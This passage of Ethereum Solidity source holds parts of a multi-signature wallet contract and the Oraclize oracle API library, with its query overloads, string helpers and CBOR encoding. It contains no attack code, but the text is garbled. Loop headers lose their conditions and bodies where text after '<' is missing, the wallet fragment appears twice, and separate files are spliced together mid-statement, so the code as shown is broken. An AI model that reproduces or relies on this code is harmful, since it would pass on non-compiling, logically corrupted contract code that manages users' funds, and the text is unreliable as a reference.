onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.4.0; //please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0 contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns (bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60 * 60 * 24; uint constant week = 60 * 60 * 24 * 7; uint constant month = 60 * 60 * 24 * 30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if ((address(OAR) == 0) || (getCodeSize(address(OAR)) == 0)) oraclize_setNetwork(networkID_auto); oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns (bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed) > 0) {//mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName(""eth_mainnet""); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1) > 0) {//ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName(""eth_ropsten3""); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e) > 0) {//kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName(""eth_kovan""); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48) > 0) {//rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName(""eth_rinkeby""); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475) > 0) {//ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF) > 0) {//ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA) > 0) {//browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns (uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i + 1]); if ((b1 >= 97) && (b1 <= 102)) b1 -= 87; else if ((b1 >= 65) && (b1 <= 70)) b1 -= 55; else if ((b1 >= 48) && (b1 <= 57)) b1 -= 48; if ((b2 >= 97) && (b2 <= 102)) b2 -= 87; else if ((b2 >= 65) && (b2 <= 70)) b2 -= 55; else if ((b2 >= 48) && (b2 <= 57)) b2 -= 48; iaddr += (b1 * 16 + b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return - 1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return - 1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if (h.length < 1 || n.length < 1 || (n.length > h.length)) return - 1; else if (h.length > (2 ** 128 - 1)) return - 1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while (subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if (subindex == n.length) return int(i); } } return - 1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i = 0; i < bresult.length; i++) { if ((bresult[i] >= 48) && (bresult[i] <= 57)) { if (decimals) { if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10 ** _b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return ""0""; uint j = i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0) { bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1) / 23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1) / 23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0) || (_nbytes > 32)) throw; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), 